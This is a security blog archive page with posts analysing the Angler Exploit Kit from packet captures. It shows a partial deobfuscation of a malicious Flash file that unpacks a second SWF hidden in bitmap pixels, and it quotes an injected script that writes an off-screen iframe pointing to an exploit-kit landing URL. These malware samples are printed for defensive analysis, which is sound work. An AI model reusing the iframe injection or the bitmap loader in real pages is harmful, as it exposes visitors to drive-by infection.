I made an attempt to deofuscated and analyze a malicious Adobe Flash SWF file from Malware Traffic Analysis blog about the Angler Exploit kit. I ran through the steps I mentioned to export from the PCAP and turn the SWF file into ActionScript code.
I ended up with this ugly obfuscated mess of ActionScript code. Below is just a sampling, but here is the full obfuscated ActionScript code.
var _local1:* = new ((this.1[IlllI.11IIlI1lIl](IlllI.I11lI1IlI1) as Class))();
var _local2:* = new this.ll1IlI1II1lI()[IlllI.1lIlI1lI];
var _local3:int = _local2[IlllI.1lIIlI1lI1];
var _local4:int = _local2[IlllI.Ill1lI1];
var _local5:uint;
var _local6:uint = (10 - (5 * 2));
var _local7:int;
while (_local7 < _local3) {
_local8 = 0;
while (_local8 < _local4) {
_local9 = _local2[IlllI.11lIlI](_local7, _local8);
if ((((_local7 == 0)) && ((_local8 == 0)))){
_local5 = (_local9 & 0xFFFFFF);
}
I thought I'd take a stab at de-obfuscating this code, and I was decently successful with unraveling the first layer of obfuscation I thought. I pasted partial deobfuscated code here and thought I'd review some of it below. I deobfuscated it by renaming variables and functionings, removing unnecessary variable declarations and string concatenations, removing unnecessary nested function calls, etc.
public class Document extends MovieClip {
public function Document(){
super();
if (this["stage"]){
this.functionStartExploit();
} else {
this["addEventListener"]("addedToStage", this.functionStartExploit);
};
}
Per the above code, when the SWF file loads in the user's browser, it does the standard start for a flash file. It basically waits for the stage (the main area of the SWF) to load, and if it's not loaded yet it adds a listener which will trigger an event as soon as the stage has loaded. Once it's loaded the attacker starts the exploit.
public function functionStartExploit():void{
this["removeEventListener"]("addedToStage", this.functionStartExploit);
var _localEmbeddedSWF:* = new flash.display.Loader();
_localEmbeddedSWF["loadBytes"](this.functionEmbeddedSWFFromBitmap());
this["addChild"](_localEmbeddedSWF);
}
First the attacker removes the stage listener since it's already loaded now. Then the attacker creates a place holder for a nested SWF file (yes there is essentially a SWF within a SWF). There was an initial layer of obfuscation that involved all the renaming of variables, creating unnecessary string concatenations, etc. But there is a secondary layer of obfuscation that is occurring by loading an embedded SWF file inside this one. So the actual exploit isn't occurring in this SWF that I'm analyzing but in a nested one that appears to have been hidden in a Bitmap file as you'll see below. Once that embedded SWF is loaded, then it's added as a child to this SWF file so that it will load also.
private function functionEmbeddedSWFFromBitmap(){
var _localMaliciousByteArray:* = new flash.utils.ByteArray();
var _localBitmap:* = new BitmapAsset()["bitmapData"];
...
while (_localCounter2 < _localBitmap["width"]) {
while (_localCounterNested < _localBitmap["height"]) {
_localPixel = _localBitmap["getPixel"](_localCounter2, _localCounterNested);
...
_localMaliciousByteArray["writeByte"]((_localPixel & 0xFF));
_localMaliciousByteArray["writeByte"](((_localPixel >> 8) & 0xFF));
_localMaliciousByteArray["writeByte"](((_localPixel >> 16) & 0xFF));
...
_localCounterNested++;
};
...
_localCounter2++;
};
...
_localMaliciousByteArray["position"] = 0;
return (_localMaliciousByteArray);
}
Finally above when loading that embedded SWF from a BitMap file there is some additional altering or messing with the bytes before it's returned back and loaded into that nested location.
I found it interesting to see this nested obfuscation technique in action and it definitely makes it harder to analyze as a security researcher because the exploit you're looking for doesn't even actually exist in this SWF file that we spotted.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Showing posts with label Angler EK. Show all posts
Showing posts with label Angler EK. Show all posts
Thursday, June 2, 2016
Friday, May 27, 2016
Angler, GZIP, and a Landing Page
The Malware Traffic Analysis blog is awesome, it contains many live samples of malicious traffic for your inspecting pleasure. Today I thought I'd share some basics of how to read one of them. ANGLER EK SENDS UPDATED VERSION OF CRYPTXXX RANSOMWARE was a recent blog post he did. If you were to open up the PCAPs in wireshark you'd see a call to a javascript file.
If you were to follow the tcp stream
The red text is the request. So victim's machine made a request to get the following javascript file hxxp://word.bhandaridinesh.com.np/view.js
The blue text is the response of the infected web server. But just from viewing the tcp stream above, you probably have no clue what it's doing, right? You can tell it's javascript because of Content-Type: text/javascript. But it's unreadable currently because it's gzip encoded (Content-Encoding: gzip). The solution in wireshark to reading the packets is to File->Export Objects->HTTP.
This will list out all HTTP objects (like javascript files, css files, word documents, or whatever else was downloaded or transferred).
In this case, you want the view.js file so select it and hit Save. Then open it in your text editor of choice. Boom! That looks like javascript that you can read.
The actual content in this case was
document.write(' <div id="39209" style="width: 278px; height: 264px; position: absolute; left:-452px; top: -409px;"> <iframe src="http://luszniewicz.virtual-linux.net/questions/644276/qEdJLS-bSFWO-pXydb-ZEfahaWdC-" width=209 height=206 > </i'+'frame> </div>');
As you can tell above this is using javascript code to write some new HTML elements to the page that the user is currently on. In this case it's creating a DIV tag which is positions well off the screen (see the negative values for left and top position). Inside the DIV tage is the dreaded iframe. This means that code from an outside website it going to be injected/loaded into the website you're currently on. This could of course be prevented with some solid Content Security Policies using headers like X-Frame-Options to restrict which (if any) sites are allowed to load on your site from an iframe. In this case the url that user is being redirected to is the Angler Exploit kit per the blogger mentioned above. You can see that in the next HTTP object in wireshark.
If you save the object and open in your favorite text editor you'll see an HTML page that if you're in the security field you're used to seeing. It's a bunch of random gibberish sentences that make no sense. It's kinda like the Angler Exploit kit's unique calling card, pretty easy to spot by the naked eye, yet pretty tricky for an automated Security tool to spot since there's not many similarities from one landing page to the other because all the text and code is essentially obfuscated and randomized.
If you scroll down far enough you'll find Javascript tags that are heavily obfuscated and near impossible to read at first glance.
And eventually if you scroll enough you'll see a collection of Javascript variables in the Angler Exploit kit. This is actually the core data. If you're able to decrypt these variables you're able to see where the payload urls are pulling the malware/viruses from.
If you're comfortable with javascript and know what you're doing it's not very hard to complete this process. If you're not familiar with javascript or this whole process, you have to be careful, because if you accidentally execute this javascript or download the resulting urls you may wind up infecting the device you're on. So to be extra cautious you probably want to spin up a disposable virtual machine not connected to the internet at all that you can analyze this javascript in.
Then my personal preference short of using some automated scripts that security researchers have written, would be to carve out the javascript from the html page and save it in a separate file. Then the keys to being successful are to remove the javascript code that looks like it's going to be executing Active X or XML Request or other malicious calls. For example, this code may seem harmless
LqejPHhTcQlxj[HfNjIsqnJo]("kOWwE-PH2t-blQrTRBsQZaur");
But if put together with all the other obfuscated code higher up in the file, my guess is this is a call to a malicious object such as an ActiveX or XMLHttpRequest object meaning it could try to download a file , save it to your c drive, or execute a file. So lines of code like this may need to be comment out or replaced with simpler things such as alert popup boxes or console debug statements so that you can print out the values without actually executing them. The main thing we're typically after though is those payload urls, where are they going to download the malicious executable? To determine that you need that block of variables I mentioned above, plus you need the "decrypt" function which is buried in the javascript somewhere. I typically identify it as the function with the most for loops in it! Thus something like below to me indicates that JDUXLD might be the decrypt function.
Thus if you can rip out all the other javascript except essentially for those variables and this decrypt function you can simply execute javascript that decrypts the variables but doesn't actually execute any malicious code.
So you might end up with some debug statements like this
That may spit out the url that delivers the payload into the debug console. Now that you've got that information, you can inspect that malicious content in your lab, submit it to your sandbox platform, or whatever your next steps are.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
If you were to follow the tcp stream
The red text is the request. So victim's machine made a request to get the following javascript file hxxp://word.bhandaridinesh.com.np/view.js
The blue text is the response of the infected web server. But just from viewing the tcp stream above, you probably have no clue what it's doing, right? You can tell it's javascript because of Content-Type: text/javascript. But it's unreadable currently because it's gzip encoded (Content-Encoding: gzip). The solution in wireshark to reading the packets is to File->Export Objects->HTTP.
This will list out all HTTP objects (like javascript files, css files, word documents, or whatever else was downloaded or transferred).
In this case, you want the view.js file so select it and hit Save. Then open it in your text editor of choice. Boom! That looks like javascript that you can read.
The actual content in this case was
document.write(' <div id="39209" style="width: 278px; height: 264px; position: absolute; left:-452px; top: -409px;"> <iframe src="http://luszniewicz.virtual-linux.net/questions/644276/qEdJLS-bSFWO-pXydb-ZEfahaWdC-" width=209 height=206 > </i'+'frame> </div>');
As you can tell above this is using javascript code to write some new HTML elements to the page that the user is currently on. In this case it's creating a DIV tag which is positions well off the screen (see the negative values for left and top position). Inside the DIV tage is the dreaded iframe. This means that code from an outside website it going to be injected/loaded into the website you're currently on. This could of course be prevented with some solid Content Security Policies using headers like X-Frame-Options to restrict which (if any) sites are allowed to load on your site from an iframe. In this case the url that user is being redirected to is the Angler Exploit kit per the blogger mentioned above. You can see that in the next HTTP object in wireshark.
If you save the object and open in your favorite text editor you'll see an HTML page that if you're in the security field you're used to seeing. It's a bunch of random gibberish sentences that make no sense. It's kinda like the Angler Exploit kit's unique calling card, pretty easy to spot by the naked eye, yet pretty tricky for an automated Security tool to spot since there's not many similarities from one landing page to the other because all the text and code is essentially obfuscated and randomized.
If you scroll down far enough you'll find Javascript tags that are heavily obfuscated and near impossible to read at first glance.
And eventually if you scroll enough you'll see a collection of Javascript variables in the Angler Exploit kit. This is actually the core data. If you're able to decrypt these variables you're able to see where the payload urls are pulling the malware/viruses from.
If you're comfortable with javascript and know what you're doing it's not very hard to complete this process. If you're not familiar with javascript or this whole process, you have to be careful, because if you accidentally execute this javascript or download the resulting urls you may wind up infecting the device you're on. So to be extra cautious you probably want to spin up a disposable virtual machine not connected to the internet at all that you can analyze this javascript in.
Then my personal preference short of using some automated scripts that security researchers have written, would be to carve out the javascript from the html page and save it in a separate file. Then the keys to being successful are to remove the javascript code that looks like it's going to be executing Active X or XML Request or other malicious calls. For example, this code may seem harmless
LqejPHhTcQlxj[HfNjIsqnJo]("kOWwE-PH2t-blQrTRBsQZaur");
But if put together with all the other obfuscated code higher up in the file, my guess is this is a call to a malicious object such as an ActiveX or XMLHttpRequest object meaning it could try to download a file , save it to your c drive, or execute a file. So lines of code like this may need to be comment out or replaced with simpler things such as alert popup boxes or console debug statements so that you can print out the values without actually executing them. The main thing we're typically after though is those payload urls, where are they going to download the malicious executable? To determine that you need that block of variables I mentioned above, plus you need the "decrypt" function which is buried in the javascript somewhere. I typically identify it as the function with the most for loops in it! Thus something like below to me indicates that JDUXLD might be the decrypt function.
Thus if you can rip out all the other javascript except essentially for those variables and this decrypt function you can simply execute javascript that decrypts the variables but doesn't actually execute any malicious code.
So you might end up with some debug statements like this
That may spit out the url that delivers the payload into the debug console. Now that you've got that information, you can inspect that malicious content in your lab, submit it to your sandbox platform, or whatever your next steps are.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Tuesday, January 19, 2016
Palo Alto's Angler Exploit Kit Evasion Research
I thought this Palo Alto research was fascinating about Angle Exploit Kit Evasion. It showed how compromised websites purposely go dormant / quiet many times during the day and sometimes for many days to trick security researchers into thinking they were taken down/cleaned up. It showed that compromised websites filter IP addresses meaning the website may only serve the malicious content to certain countries, regions, targets, etc. It showed that payload URLs can change every 1/2 hour to hour. It also showed. It also shows how payload javascript also can change every 1/2 hour to hour.
The attackers will continue to evolve to evade detection and the good guys like us better stay on top of our game if we hope to stop (or even just detect) this madness!
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
The attackers will continue to evolve to evade detection and the good guys like us better stay on top of our game if we hope to stop (or even just detect) this madness!
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subscribe to:
Posts (Atom)